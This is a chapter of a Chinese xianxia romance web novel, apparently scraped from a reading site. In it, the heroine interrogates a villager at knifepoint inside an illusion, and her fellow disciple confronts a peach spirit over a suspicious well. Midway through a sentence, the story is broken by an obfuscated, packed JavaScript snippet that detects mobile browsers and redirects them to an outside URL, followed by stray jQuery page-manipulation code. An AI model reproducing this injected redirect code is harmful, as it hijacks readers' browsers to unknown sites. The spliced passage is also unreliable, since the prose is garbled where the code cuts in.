18. 幻梦(一)

作品:《重生后被白切黑师兄缠上了

    既然陈力是个交流不了的莽夫,那她不妨从陈志这人身上下手。


    只是……这种胆小怕事的懦夫型人格,真的会被她套出话来吗?


    江南枝的眼神落在缩着脖子躲在弟弟身后的陈志,他的眼睛很凸,脸庞瘦削


    同他对视上一眼,心里会有些异样的感觉。


    这种感觉并非对他外貌、身姿的厌恶唾弃,而是对他空洞眼神的,一种从骨子里传来的不适。


    陈志费力地扯出一个别扭的笑脸,“没什么……”


    江南枝闻言,弯眉一笑,伸手拎起床上的红盖头,盖住自己。


    “既然没什么事,那我们的婚事是不是该继续了?”


    陈志点头,讨好地推搡自家弟弟,关上门。


    他还没来得及回头,颈间贴上冰冷的匕首刀锋,血珠从细小的伤口中渗出,顺着刀面流下。


    陈志几乎是立刻要发出声音求救,但江南枝早已预判,一根金针早早扎在他身上。


    此刻,他一句话也说不出来。


    江南枝覆在他身后,听见陈力渐行渐远的脚步声后,她挟持着陈志来到床榻之上。


    “啪——”


    江南枝居高临下给了他一巴掌,语气阴冷道:“陈志,这巴掌你受好了。”


    “接下来我问的话,你要如实回答,不要想着求救或者动任何歪心思。”


    陈志依旧无法说话,一双凸出的眼睛盯着江南枝,眼底更多是愤怒。


    江南枝的匕首向下划去,又一道浅浅的血线出现在他脖颈处。


    “你不用这样看着我,我已经给你下了毒。若你好好回答我的问题,我可以给你吃一个疗程的解药,让你暂时可以恢复声音。”


    “但若是你给不了我想要的答案,我可以保证,你活不过三天。”


    她手上动作加重,恐吓着床上瑟瑟发抖的瘦弱男人。


    果然,不出她所料。


    陈志这个人确实更好拿捏,一句吓人的鬼话就让他深信不疑,开始频频点头了。


    江南枝随手从身上拿出一个小圆瓶,里面装满了花花绿绿的糖豆。


    她倒出一颗,塞进陈志的嘴里,另一只手悄无声息地拔出那根金针……


    “咳咳……!咳……”


    声音恢复的那一刻,陈志愣怔一瞬,随即面露惧意,他瞳孔颤抖,原本瘦小的身体瑟缩着,愈发显瘦。


    “你……你要问我什么?”


    江南枝斩钉截铁道:“你的线人是谁?是谁把我带进小桃村的?”


    陈志下意识沉默。


    他的沉默如同投入死潭的石子,只激起片刻涟漪,便沉入那深不见底的恐惧之中。他凸出的眼珠剧烈颤抖着,视线不敢与江南枝对视,只死死盯着颈间那柄泛着寒光的匕首。


    江南枝并不催促,耐心是一种更残忍的压迫。


    她指尖在匕首柄上轻轻摩挲,感受着陈志脉搏在利刃下狂跳的节奏,如同捕获猎物的兽,在享受猎物最后的战栗。


    她甚至微微俯身,红盖头垂下的流苏扫过陈志惨白的脸颊,带来一丝诡异的亲昵与惊悚。


    “我……我不知道什么线人……”陈志的声音干涩沙哑,带着明显的哭腔,“是、是村里牵的线……媒婆把你带过来的。”


    “媒婆?”江南枝轻笑一声,那笑声在寂静的婚房里显得格外清晰冰冷,“一个村里的媒婆,能有通天的手腕,将深居相府的千金神不知鬼不觉地‘聘’到这穷乡僻壤?陈志,你看我像三岁稚童吗?”


    匕首的刀锋又压下毫厘,血珠汇聚成细小的溪流,染红了他破旧的衣领。


    “是……是真的!”陈志吃痛,身体抖得更厉害,“是、是有人把……把姑娘送过来,媒婆只是……只是走个过场……我、我只管接人,其他真的不知道啊!”


    “不知道?”江南枝重复着,语气里充满了不信与嘲弄。


    江南枝捕捉到他语气中那瞬间的异常坚定,这反而更显可疑。


    她不再纠缠线人的问题,转而切入另一个要害:“好,那你告诉我,为何你弟弟陈力,一个村野莽夫,身上会有修炼过的痕迹?虽粗浅,但绝非寻常庄稼汉能有。你们陈家,到底藏着什么秘密?这小桃村,又到底是个什么窝点?”


    这一连串的问题,如同重锤,狠狠砸在陈志脆弱的心防上。


    他张着嘴,喉咙里发出“嗬嗬”的声响,眼神涣散,仿佛看到了什么极其可怕的东西。江南枝甚至能闻到他身上传来的,那股因极致恐惧而产生的酸腐气味。


    “不能说……说了……会死的……我们都会死的……”他喃喃自语,精神已处于崩溃的边缘。


    就在江南枝准备再加一把火,彻底撬开他的嘴时,窗外远处,隐约传来了一声极其轻微的闷响,以及一丝若有若无的灵力波动。


    是谢祈年那边。


    他动手了,而且果然如她所料,弄出了天大的动静。


    陈志显然也听到了这异响,他像是抓住了救命稻草,又像是被更大的恐惧攫住,猛地扭头看向窗外,凸出的眼珠里充满了惊疑不定:“东、东边……是柳举人家……怎么回事……”


    时机稍纵即逝!


    江南枝当机立断,不能再慢慢套话了。


    她手腕一翻,匕首收回,另一只手快如闪电,又是一根金针精准刺入陈志颈后某处穴位。陈志身体一僵,眼神瞬间变得呆滞空洞,所有剧烈的情绪波动仿佛被瞬间冻结。


    “看着我。”江南枝的声音带着一种奇异的蛊惑力,这是清心咒的一种逆向运用,能在人精神脆弱时短暂引导其心智。


    陈志呆滞地转过头,望向盖头下那双清冷剔透的眸子。


    “线人,是谁?”江南枝一字一顿,将问题烙印在他混乱的识海中。


    陈志嘴唇嗫嚅了几下,呆板地吐出几个模糊的音节:“……镇……西……道观……黑……黑手……”


    镇西道观?黑手?


    信息依旧模糊,但总算有了方向。江南枝正欲再问细节,院外却突然传来一阵急促的脚步声和喧哗声!


    “哥!东头出事了,柳举人家那边好像打起来了!快去看看!”是陈力焦急的喊声,伴随着拍门声。


    江南枝眼神一凛,迅速拔出金针,将一颗“糖豆”塞进陈志嘴里,低喝道:“咽下去!记住,你中了毒,想活命就管好自己的嘴!”同时,她飞快地整理了一下自己的嫁衣和盖头,重新坐回床沿,做出乖巧新妇的模样。


    陈志被金针刺激,又吞下“解药”,神智恢复了些许,但恐惧更深。


    他连滚带爬地冲到门边,打开门,对着门外的陈伯结结巴巴道:“阿力……我、我这就去……”他甚至不敢回头看江南枝一眼,仿佛身后是吃人的罗刹。


    陈力狐疑地看了眼房内端坐的“新媳妇”,又看了眼儿子脖颈上明显的血痕,眉头紧锁:“你脖子怎么了?”


    “没、没什么!自己不小心划了一下!”陈志慌忙用手捂住脖子,推着陈力,“快走吧阿力,去看看柳举人那边……”


    二人匆匆离去,脚步声渐远。


    婚房内再次恢复寂静,只剩下桌上跳跃的微弱烛光。


    江南枝一把扯下红盖头,露出凝重神色。谢祈年果然闹出了大动静,连村中人都被惊动了。计划必须加快。


    她不再犹豫,身形一闪,如一道轻烟般从后窗掠出。


    她需要立刻去确认谢祈年那边的情况,更要利用这突如其来的混乱,去验证陈志口中“镇西道观”和“黑手”的线索。


    然而,就在她身影消失在夜色中不久,一道与她一模一样的身影,穿着一身浅色衣裙,低着头,悄无声息地自院墙的阴影处走了出来,步履从容地走向陈志家那扇虚掩的院门。


    真正的楚辞韵,或者说,是这幻境依据真实记忆投射出的“楚辞韵”,在柴房中醒过来了。


    真假新娘,在这被搅乱的幻境之夜,即将迎来第一次戏剧性的交汇。


    而江南枝对此仍一无所知,她正全力赶往村东,那片因谢祈年而掀起的风暴中心。


    ——


    村东,柳文的小院。


    与江南枝预想的激烈打斗不同,院中的气氛诡异而凝重。


    谢祈年并未与桃夭或柳生兵刃相向,他甚至没有拔剑。只是静静地站在院中那株开得最盛的桃树下,月光将他身影拉得孤峭冷寂。


    他脚边,是碎裂的几块瓦砾,显然方才的闷响源于此——他并非强攻,而是用一种更巧妙的方式,打破了此地的某种平衡。


    桃夭将柳生和柳灵儿紧紧护在身后,粉裳无风自动,周身妖力澎湃,却带着一种外强中干的虚弱感,美目含煞地瞪着谢祈年:“你到底想做什么?”


    柳生面色苍白,紧紧握着妹妹的手,书生气的脸上满是警惕与不解:“谦兄,白日里我们刚才一同共饮,为何夜晚便来毁我庭院?”


    谢祈年的目光掠过他们,最终落在柳灵儿身上。那小女娃躲在哥哥身后,只露出一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16518104|186134||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    双大眼睛,眼神怯怯,却异常清澈,与这陈旧幻境格格不入。


    “并非毁院,”谢祈年开口,声音平淡无波,却带着不容置疑的力量,“只是想知道,以此院为核心,维系这十载轮回的‘养料’,究竟从何而来。”他的视线转向桃夭,“你的灵根,早已受损至无法自行修复的地步,仅靠一枚固元丹,杯水车薪。支撑这庞大幻境的力量,绝非仅靠你残存妖力与凡人执念所能及。”


    桃夭脸色微变,咬紧下唇不语。


    柳生皱眉:“谦兄此言何意?什么幻境?什么轮回?此处是我家宅院,明年二月我还要上京赶考……”


    “赶考?”谢祈年打断他,唇角勾起一抹微不可查的讥诮,“柳生,你可还记得,你是哪一年中的举?今夕,又是何年何月?”


    柳生一怔,眼中瞬间闪过一丝茫然,他张了张嘴,似乎想说什么,却又卡住,眉头紧紧锁起,仿佛在努力回忆什么,却什么都抓不住。


    “哥哥?”柳灵儿担忧地拉了拉他的衣袖。


    桃夭见状,眼中闪过一丝痛楚,厉声道:“休要胡言乱语,蛊惑人心!此处不欢迎你,请离开!”她周身妖力鼓荡,粉色的桃花瓣如利刃般射向谢祈年!


    谢祈年不闪不避,只袖袍一挥,一股阴寒灵力涌出,并非硬撼,而是如同泥牛入海,将那些花瓣尽数吞噬、消融。他甚至向前踏了一步,目光如炬,锁定桃夭:“你在汲取什么?或者说,是谁在通过你,汲取这村中的生机与魂力?是那口井吗?”他视线转向院角那口看似普通的水井。


    就在他话音落下的瞬间,那水井深处,似乎传来一声极其细微的、如同叹息般的波动。


    与此同时,江南枝恰好赶到,隐在暗处,将这一幕尽收眼底。她看到谢祈年并未如她预想般大开杀戒,而是以一种更危险的方式在探寻幻境本源,也看到了桃夭那异常激烈的反应,以及柳生脸上浮现的茫然痛苦。


    而更让她心头一紧的是,她敏锐地察觉到,在谢祈年提到“那口井”时,不仅是桃夭,连她身边一直怯生生的柳灵儿,身体都几不可查地僵硬了一瞬。


    这井……果然有问题!陈志的恐惧,柳灵儿的异常,桃夭的竭力维护……线索似乎都隐隐指向了那里。


    谢祈年显然也注意到了柳灵儿的细微变化,他眸光微闪,正欲再进一步逼问——


    “不好了!不好了!”陈志和他弟弟陈力,以及几个被惊动的村民,气喘吁吁地跑到了院外,“柳举人,你们家没事吧?刚才什么动静?”


    混乱的人群打破了院中对峙的僵局。


    桃夭立刻收敛妖力,换上一副惊魂未定的模样:“没、没事,可能是家里房屋久未修缮了,竟然塌了一些。”


    柳生也勉强镇定下来,对着院外拱手:“有劳各位乡亲关心,虚惊一场。”


    谢祈年眉头微蹙,似乎对被打断有些不悦,但他并未再有所动作,只是冷冷地看着桃夭和柳生安抚村民。


    江南枝在暗处心念急转。村民被引来,她易容成楚辞韵探查的计划已被打乱。而谢祈年显然已经引起了桃夭和“幕后”更深的警觉。此刻再强行探查,恐生变故。


    她目光扫过那口幽深的水井,又想起陈志提到的“镇西道观”和“黑手”。或许,该换个方向了。


    她悄悄后退,准备先行离开,去镇西道观一探究竟。


    然而,就在她转身欲走的刹那,眼角的余光瞥见人群外围,一个穿着粗布衣裳、低头缩脑的瘦小身影——是陈志。他正偷偷地、用一种混合着恐惧和某种奇异兴奋的眼神,打量着院中的柳灵儿。


    那眼神,让江南枝心头莫名一寒。


    她忽然想起自己离开陈家时,那扇虚掩的院门……一个模糊的念头划过脑海,但她此刻急于探查新线索,并未深想。


    真假新娘的第一次潜在交锋,就这样在混乱中擦肩而过。


    夜色更深,小桃村的幻梦,在内外交织的力量下,涟漪阵阵,那深藏井中的秘密,与道观可能的关联,正等待着被彻底揭开。而江南枝与谢祈年,各自沿着自己选择的路径,向着幻境的核心,也是他们彼此心结的深处,一步步逼近。


    这场闹剧,他们不曾主动和对方说过一句话,遥遥相望,对视一眼后便移开目光。


    江南枝是无意之举,因她此刻思绪万千,分不出心来。


    而谢祈年,却是真真正正不敢,也不愿再注视江南枝那双眼眸了。


    天真的、残忍的、厌恶他的眼眸……